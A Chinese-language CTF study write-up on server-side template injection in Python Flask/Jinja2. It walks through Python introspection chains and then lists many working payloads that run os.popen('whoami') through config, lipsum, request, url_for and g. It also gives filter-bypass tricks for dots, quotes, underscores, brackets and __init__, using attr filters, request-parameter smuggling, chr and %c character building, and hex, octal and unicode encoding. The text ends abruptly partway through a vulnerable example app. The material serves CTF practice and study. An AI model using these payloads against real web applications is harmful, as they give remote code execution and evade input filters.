曾经多多少少有看过一点SSTI注入,虽然有很多场比赛都栽过在这个题的手里,但是一直都没有重视他,导致这次比赛又再次栽在了这道题上面。既然如此,那就系统的去总结和理解它的方式和一些绕过姿势,收藏一些trick和学着去造一些trick。
SSTI是服务端模板注入漏洞,了解过Python的一些Web开发知识,其中的Flask,Django这些MVC框架时,用户输入的变量被接收后通过Controller处理,最后通过渲染返回给了View即HTML页面,而模板引擎处理一些变量时,未经过任何的处理即被编译执行渲染,导致了一些代码执行,信息泄露等。比如使用render_template渲染函数时,未经过处理就对用户输入的变量做了解析变换。
__class__
主要用于查看变量所属的类,像一些常用的字符类,字典,元组,列表等。
s = [1, 2, 3]
print(s.__class__)
s = 'abc'
print(s.__class__)
s = {'Aiwin': 1}
print(s.__class__)
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__)
输出:
<class 'list'>
<class 'str'>
<class 'dict'>
<class 'tuple'>
__bases__
查看类所属的基本类,更多的一般是Object对象类,返回元组。
s = [1, 2, 3]
print(s.__class__.__bases__)
s = 'abc'
print(s.__class__.__mro__) #显示类和基类
s = {'Aiwin': 1}
print(type(s.__class__.__bases__))
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__.__bases__[0])
输出:
(<class 'object'>,)
(<class 'str'>, <class 'object'>)
<class 'tuple'>
<class 'object'>
输出的是元组,可以使用[number]来获取第几个类,__mro__类可显示类和基类。
__subclasses__
用于查看当前类的子类,也可以通过[number]查看指定的值,返回的是列表。s = ({'Aiwin': 1}, [1, 2, 3])
print(type(s.__class__.__bases__[0].__subclasses__()))
k=s.__class__.__bases__[0].__subclasses__()
for i in k:
print(i)
输出:
<class 'list'>
-----------------
<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
<class 'range'>
<class 'dict'>
<class 'dict_keys'>
<class 'dict_values'>
<class 'dict_items'>
<class 'dict_reversekeyiterator'>
<class 'dict_reversevalueiterator'>
<class 'dict_reverseitemiterator'>
<class 'odict_iterator'>
<class 'set'>
<class 'str'>
<class 'slice'>
<class 'staticmethod'>
<class 'complex'>
<class 'float'>
<class 'frozenset'>
<class 'property'>
<class 'managedbuffer'>
<class 'memoryview'>
<class 'tuple'>
<class 'enumerate'>
<class 'reversed'>
<class 'stderrprinter'>
<class 'code'>
<class 'frame'>
<class 'builtin_function_or_method'>
<class 'method'>
<class 'function'>
<class 'mappingproxy'>
<class 'generator'>
<class 'getset_descriptor'>
<class 'wrapper_descriptor'>
<class 'method-wrapper'>
<class 'ellipsis'>
<class 'member_descriptor'>
<class 'types.SimpleNamespace'>
<class 'PyCapsule'>
<class 'longrange_iterator'>
<class 'cell'>
<class 'instancemethod'>
<class 'classmethod_descriptor'>
<class 'method_descriptor'>
<class 'callable_iterator'>
<class 'iterator'>
<class 'pickle.PickleBuffer'>
<class 'coroutine'>
<class 'coroutine_wrapper'>
<class 'InterpreterID'>
<class 'EncodingMap'>
<class 'fieldnameiterator'>
<class 'formatteriterator'>
<class 'BaseException'>
<class 'hamt'>
<class 'hamt_array_node'>
<class 'hamt_bitmap_node'>
<class 'hamt_collision_node'>
<class 'keys'>
<class 'values'>
<class 'items'>
<class 'Context'>
<class 'ContextVar'>
<class 'Token'>
<class 'Token.MISSING'>
<class 'moduledef'>
<class 'module'>
<class 'filter'>
<class 'map'>
<class 'zip'>
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
<class '_frozen_importlib.BuiltinImporter'>
<class 'classmethod'>
<class '_frozen_importlib.FrozenImporter'>
<class '_frozen_importlib._ImportLockContext'>
<class '_thread._localdummy'>
<class '_thread._local'>
<class '_thread.lock'>
<class '_thread.RLock'>
<class '_io._IOBase'>
<class '_io._BytesIOBuffer'>
<class '_io.IncrementalNewlineDecoder'>
<class 'nt.ScandirIterator'>
<class 'nt.DirEntry'>
<class 'PyHKEY'>
<class '_frozen_importlib_external.WindowsRegistryFinder'>
<class '_frozen_importlib_external._LoaderBasics'>
<class '_frozen_importlib_external.FileLoader'>
<class '_frozen_importlib_external._NamespacePath'>
<class '_frozen_importlib_external._NamespaceLoader'>
<class '_frozen_importlib_external.PathFinder'>
<class '_frozen_importlib_external.FileFinder'>
<class 'zipimport.zipimporter'>
<class 'zipimport._ZipImportResourceReader'>
<class 'codecs.Codec'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<class 'codecs.StreamReaderWriter'>
<class 'codecs.StreamRecoder'>
<class '_abc._abc_data'>
<class 'abc.ABC'>
<class 'dict_itemiterator'>
<class 'collections.abc.Hashable'>
<class 'collections.abc.Awaitable'>
<class 'types.GenericAlias'>
<class 'collections.abc.AsyncIterable'>
<class 'async_generator'>
<class 'collections.abc.Iterable'>
<class 'bytes_iterator'>
<class 'bytearray_iterator'>
<class 'dict_keyiterator'>
<class 'dict_valueiterator'>
<class 'list_iterator'>
<class 'list_reverseiterator'>
<class 'range_iterator'>
<class 'set_iterator'>
<class 'str_iterator'>
<class 'tuple_iterator'>
<class 'collections.abc.Sized'>
<class 'collections.abc.Container'>
<class 'collections.abc.Callable'>
<class 'os._wrap_close'>
<class 'os._AddedDllDirectory'>
<class '_sitebuiltins.Quitter'>
<class '_sitebuiltins._Printer'>
<class '_sitebuiltins._Helper'>
<class 'MultibyteCodec'>
<class 'MultibyteIncrementalEncoder'>
<class 'MultibyteIncrementalDecoder'>
<class 'MultibyteStreamReader'>
<class 'MultibyteStreamWriter'>
<class 'itertools.accumulate'>
<class 'itertools.combinations'>
<class 'itertools.combinations_with_replacement'>
<class 'itertools.cycle'>
<class 'itertools.dropwhile'>
<class 'itertools.takewhile'>
<class 'itertools.islice'>
<class 'itertools.starmap'>
<class 'itertools.chain'>
<class 'itertools.compress'>
<class 'itertools.filterfalse'>
<class 'itertools.count'>
<class 'itertools.zip_longest'>
<class 'itertools.permutations'>
<class 'itertools.product'>
<class 'itertools.repeat'>
<class 'itertools.groupby'>
<class 'itertools._grouper'>
<class 'itertools._tee'>
<class 'itertools._tee_dataobject'>
<class 'operator.itemgetter'>
<class 'operator.attrgetter'>
<class 'operator.methodcaller'>
<class 'reprlib.Repr'>
<class 'collections.deque'>
<class '_collections._deque_iterator'>
<class '_collections._deque_reverse_iterator'>
<class '_collections._tuplegetter'>
<class 'collections._Link'>
<class 'types.DynamicClassAttribute'>
<class 'types._GeneratorWrapper'>
<class 'functools.partial'>
<class 'functools._lru_cache_wrapper'>
<class 'functools.partialmethod'>
<class 'functools.singledispatchmethod'>
<class 'functools.cached_property'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'contextlib.ContextDecorator'>
<class 'contextlib._GeneratorContextManagerBase'>
<class 'contextlib._BaseExitStack'>
<class 'enum.auto'>
<enum 'Enum'>
<class 're.Pattern'>
<class 're.Match'>
<class '_sre.SRE_Scanner'>
<class 'sre_parse.State'>
<class 'sre_parse.SubPattern'>
<class 'sre_parse.Tokenizer'>
<class 're.Scanner'>
<class 'typing._Final'>
<class 'typing._Immutable'>
<class 'typing.Generic'>
<class 'typing._TypingEmpty'>
<class 'typing._TypingEllipsis'>
<class 'typing.Annotated'>
<class 'typing.NamedTuple'>
<class 'typing.TypedDict'>
<class 'typing.io'>
<class 'typing.re'>
<class 'importlib.abc.Finder'>
<class 'importlib.abc.Loader'>
<class 'importlib.abc.ResourceReader'>
得到object类,获取特定的子类,从而通过子类调用里面的方法达到命令执行的效果。比如
可以调用os.popen()等方法。
__dict__
返回数据类型的属性和方法,要注意的是部分数据类型不存在__dict__
方法,会报错,通过它可以进行拼接绕过某些过滤。
import os
os.__dict__['s'+'ystem']('whoami')
__init__
用于初始化类,为了得到function或者method方法
class Person(object):
def __init__(self, name):
self.name = name
print(Person.__init__)
#
__globals__
以字典的类型返回当前位置的全部模块,配合__init__
使用,主要是为了获取builtins方法,如果这个关键字被过滤了,可以使用__getattribute__
class Person(object):
def __init__(self, name):
self.name = name
print(Person.__init__.__globals__)
print(Person.__init__.__getattribute__('__global'+'s__'))
__builtins__是一个内建模块(又可以叫做内奸命名空间),通过它可以直接不使用import就可以调用很多函数,在SSTI注入中是一把好手,里面有很多好东西。
__builtins__.__dict__['__import__']('os').system('whoami')
通过以上的python的类的知识,可以看出构造链的思路大概可以分成两种,一种是不断的通过获取内置类获取对应的类从而获取到一些能够进行命令执行如os、subprocess的模块,另一种是获取builtins通过内建函数直接调用进行命令执行。
使用__class__
来获取内置类所对应的类,可以使用str
,dict
,tuple
,list
等来获取。
也可以看源代码的flask的内置类,例如session,request,config,self等
>>> ''.__class__
<class 'str'>
>>> [].__class__
<class 'list'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> "".__class__
<class 'str'>
获取到上一层类的object基类
''.__class__.__bases__[0] #__bases__字符类的基类获取到的是一个元组,__base__获取到是一个类
''.__class__.__mro__[1]
[].__class__.__base__
[].__class__.__mro__[1]
通过__subclasses__()
拿到所有的子类列表,然后从子类列表中选择能够使用的类。
''.__class__.__bases__[0].__subclasses__()
[].__class__.__bases__.__subclasses__()
从子类列表中寻找可以getshell的类,可以遍历所有的子类,寻找对应类中的方法来确认,如要寻找popen。
search = 'popen'
num = -1
for i in ().__class__.__base__.__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(num, i)
except:
pass
#输出:
#134
#135
因此可以完成整条链的调用
print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())
print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())
print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))
print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())
print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())
print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))
print("".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__import__']('os').popen('whoami').read())
'''包含__import__方法的类
80
81
82
83
'''
jinjia2是Flask框架中一个流行的模板引擎,使得Web系统能够将特定的数据源组合渲染到页面中,呈现动态页面的效果,同样,也是CTF中的常客了,以下是jinjia2的使用文档。
Jinjia2使用文档
以下是一些jinjia2中内置的函数变量,可用于制造SSTI的链子。
jinjia2可以通过{{config}}
的方式来查询配置信息,它的基础类是可以是很多,主要看config的设置环境如属于jinja2.runtime.Context,如果环境中未定义config则会属于jinja2.runtime.undefined
,通过这个类我们可以快速从它的globals
变量中找到os
,__import__
等方法,从而快速达到命令执行。
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} #注意这里的globals中不一定存在os,要视具体情况定
{{config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}} #注意config直接__globals__为空
通过是jinjia2模板引擎中用于占位文本生成器,用于在模板中生成随机的演示文本,通过它的全局类也能够获取到大量能够用于命令执行的函数。
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
从意思上了解,就是flask中代表当前请求的request对象,通过这个请求对象可以查询配置信息,构造出SSTI所需的类,还可以构造出SSTI所需的一些符号,详细在下面绕过的时候说。
{{request.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
url_for
会根据传入的路由器函数名,返回该路由对应的URL
{{url_for.__globals__['current_app'].config}} #获取配置信息
{{url_for.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
get_flashed_messages
是一个用于获取闪存消息的函数。闪存消息是一种特殊类型的消息,用于在请求之间传递信息。它通常用于在重定向或页面刷新后向用户显示一次性的提示或通知
{{get_flashed_messages.__globals__['current_app'].config}} #查看配置信息
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
在Flask框架中,g对象是一个上下文全局变量,它是一个在视图函数之间共享数据的地方。它可用于存储在同一请求周期内的数据,比如数据库连接、用户信息等。在每个请求中,g对象在视图函数之间被共享,但是在不同的请求之间是不共享的。通过g
对象同样也可以寻找了builtins
达到getshell的效果。这里需要注意的是g
对象有时候会报undefined的错误,如在以下两种不同代码使用不同的模板渲染返回中会存在不一样的情况。
name = request.args.get('name', 'CTFer')#在这种形式的渲染返回中无法使用g变量,会显示undefined
t = Template("hello " + name)
return t.render()
name = request.args.get('name', 'CTFer') #这种形式渲染返回g变量是正常的
template=f"""
Hello,{name}
"""
return render_template_string(template)
{{g["pop"].__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
.
绕过.
绕过,可以使用attr方法或直接使用[]拼接获取到属性的基础类和各种方法,从而绕过.
lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']() #使用[]绕过
{{lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('whoami')|attr('read')()}} #使用attr绕过
{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}}
要绕过引号(包括单引号,双引号)大概有两种思路:
寻找不需要引号的SSTI注入语句,引号的作用主要是最后在命令执行如导入os和执行对应命令需要使用,还记得request变量,表示请求中的变量,可以直接使用它来代替一些命令。
{{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=whoami
{{lipsum.__globals__.__builtins__.__import__(request.args.a)[request.args.b](request.args.c).read()}}&a=os&b=popen&c=whoami&d=read
#以下的request变量的参数都是可以使用的
#request.args.name
#request.values.name
#request.cookies.name
#request.headers.name
#request.form.name
通过一些方法制造出引号这个字符,比如chr()这个函数,通过list将类名分割得到引号,制造%通过urldecode制造任意字符等,其实引号能造出的方式挺多的,比如以下:
{%set chr=g|lower|list|batch(13)|list|first|last%}{{chr}}#直接造出'
{% set chr=lipsum|lower|list|first|urlencode|first %} #造出%
{%set c=dict(c=0).keys()|reverse|first%} #造出c
{%set url=dict(a=chr,c=c).values()|join %} #造出%c
{%set url2=url|format(39)%}{{url2}} #通过%c|format的形式即可造出任意字符
#通过造chr函数
{%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
实在不知道chr在哪里,可以跑一下看看,其实很多类都有。
说这么多,奉上两个payload吧
{%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{lipsum.__globals__.__builtins__.__import__(chr(111)~chr(115))[chr(112)~chr(111)~chr(112)~chr(101)~chr(110)](chr(119)~chr(104)~chr(111)~chr(97)~chr(109)~chr(105)).read()}} #通过chr造字符
{% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(39)%}{%set o=url|format(111)%} {%set s=url|format(115)%} {%set p=url|format(112)%} {%set e=url|format(101)%} {%set n=url|format(110)%} {%set w=url|format(119)%} {%set h=url|format(104)%} {%set a=url|format(97)%} {%set m=url|format(109)%} {%set i=url|format(105)%}
{%set os=o~s|string%}{%set popen=p~o~p~e~n|string%}{% set whoami=w~h~o~a~m~i %}
{%print(lipsum.__globals__.__builtins__.__import__(os)[popen](whoami).read())%} #通过%c的形式造任何字符,注意这里根本不需要造引号,因为flask在处理的时候会自动加上引号当成字符处理。
_
绕过_
绕过的思路大同小异,一种是通过编码绕过,一种是造出_
,毕竟前面我们已经能造出任何字符了,当然也可以通过其它形式来造出_
,因为下划线相对于引号还是出现的比较频繁的,还有一种也是request的形式,通过request得到_
# 转十六进制
def tohex(string):
for i in string:
print("\\x{:0x}".format(ord(i)), end="")
print()
# 转八进制
def tooct(string):
for i in string:
print("\\{:0o}".format(ord(i)), end="")
print()
# 转unicode
def touni(string):
for i in string:
print("\\u00{:0x}".format(ord(i)), end="")
print()
string1 = "" #要编码的字符串
tohex(string1)
tooct(string1)
touni(string1)
{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[134]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['popen']('whoami').read()}} #十六进制
{{""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[134]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]['popen']('whoami').read()}} #unicode编码
{{""["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[134]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]['popen']('whoami').read()}} #八进制
request绕过
{{""[request.args.a][request.args.b][request.args.c]()[134][request.args.d][request.args.e]['popen']('whoami').read()}}&a=__class__&b=__base__&c=__subclasses__&d=__init__&e=__globals__
造_
进行绕过
{% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(95)%}{%set class=url2*2~'class'~url2*2%}
{%set base=url2*2~'base'~url2*2%}{%set sub=url2*2~'subclasses'~url2*2%}{%set init=url2*2~'init'~url2*2%}{%set glo=url2*2~'globals'~url2*2%}{{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}
{% set chr=lipsum|string|list|batch(19)|list|first|last%}{%set class=[chr*2,'class',chr*2]|join%}{%set sub=[chr*2,'subclasses',chr*2]|join%}{%set base=[chr*2,'base',chr*2]|join%}{%set init=[chr*2,'init',chr*2]|join%}{%set glo=[chr*2,'globals',chr*2]|join%}
{{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}
init
过滤__init__
是用于初始化的方法,可以使用其它方法代替,如__enter__
,__exit__
{{"".__class__.__base__.__subclasses__()[134].__enter__.__globals__['popen']('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[134].__exit__.__globals__['popen']('whoami').read()}}
因为[]
并不是必须的,因为过滤了[]
可以往不用[]
那边想,因为.__
的形式就不需要使用[]
,如以下:
{{().__class__.__base__.__subclasses__().pop(134).__init__.__globals__.popen('whoami').read()}} #通过pop来选择类
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(134).__init__.__globals__.popen('whoami').read()}} #通过getitem选择类
{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}} #通过attr来绕过
题目如下,过滤的东西其实挺多的,过滤了下划线、花括号、点号、十六进制、八进制,空格等,虽然看上去过滤了很多的东西,但是依旧是可以缺什么造什么把它造出来,过滤了.
我们可以使用[]
,+
可以使用~
进行连接,下划线可以使用造字符串的形式。
from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'CTFer